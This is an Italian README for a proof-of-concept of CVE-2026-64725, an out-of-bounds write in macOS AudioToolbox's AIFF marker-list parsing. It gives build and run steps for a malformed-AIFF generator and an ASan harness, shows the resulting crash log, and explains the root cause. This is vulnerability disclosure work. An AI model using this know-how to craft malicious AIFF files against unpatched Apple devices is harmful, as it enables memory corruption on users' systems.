Cosa c'è nel repository?

Una PoC per CVE-2026-64725. Vedi il codice sorgente e il post del blog per i dettagli.

Come riprodurre?

Piattaforme

Trovato su macOS 26.4.1 (build 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)).

Apple conferma che macOS/iOS/iPadOS < 26.6 sono vulnerabili.

PoC

1. Assicurati che il tuo Mac esegua l'ultima versione di macOS

2. Assicurati di avere Python 3.6+ e clang installati

3. Clona il repository sul tuo Mac

4. Genera un AIFF minimale malformato che innesca il bug di shift con segno in int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool):

   cd poc/
   python3 gen_marker_oob_aiff.py
   

   oppure

   cd poc/
   make aiff
   

   Come risultato, dovresti ottenere marker_oob.aiff.

5. Compila l'harness PoC minimale con ASan:

   make 
   

   Come risultato, dovresti ottenere marker_oob_harness.

Esegui la PoC

./marker_oob_harness marker_oob.aiff

Dovresti vedere qualcosa come

buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
    #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
    #2 0x000104778ca4 in main marker_oob_harness.c:59
    #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)

==62449==Register values:
 x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
 x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
 x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort      ./marker_oob_harness marker_oob.aiff

Cosa è successo?

In breve:

1. marker_oob_harness ha aperto marker_oob.aiff chiamando l'API pubblica documentata AudioFileOpenURL(...)

2. marker_oob_harness ha chiamato calloc per allocare un buffer di output a lunghezza fissa per i marker (non è la prassi migliore, ma succede spesso nel mondo reale; il pattern più sicuro GetMarkerListSize è discusso più avanti in "Casi sicuri" / "GetMarkerListSize → malloc(size) → GetMarkerList")

3. marker_oob_harness ha provato a ottenere un elenco di marker chiamando l'API pubblica documentata AudioFileGetProperty(...) con inPropertyID=kAudioFilePropertyMarkerList. Tutti gli argomenti, inclusi la dimensione del buffer di output e il puntatore al buffer, erano corretti.

4. AudioFileGetProperty(...) ha chiamato internamente l'API non documentata int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)

5. int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) ha interpretato male la dimensione (corretta!) del buffer di output e scrive byte da marker_oob.aiff oltre la fine del buffer, quindi hai visto il messaggio di crash di ASan. Il comportamento corretto atteso sarebbe stato restituire un errore di buffer troppo piccolo o qualcosa del genere.

Il numero di byte scritti oltre la fine del buffer dipende dalla dimensione del file. Un file .aiff malintenzionato può far overflow qualsiasi buffer di dimensione ragionevole se il file è abbastanza grande.

Vedi il post del blog per i dettagli.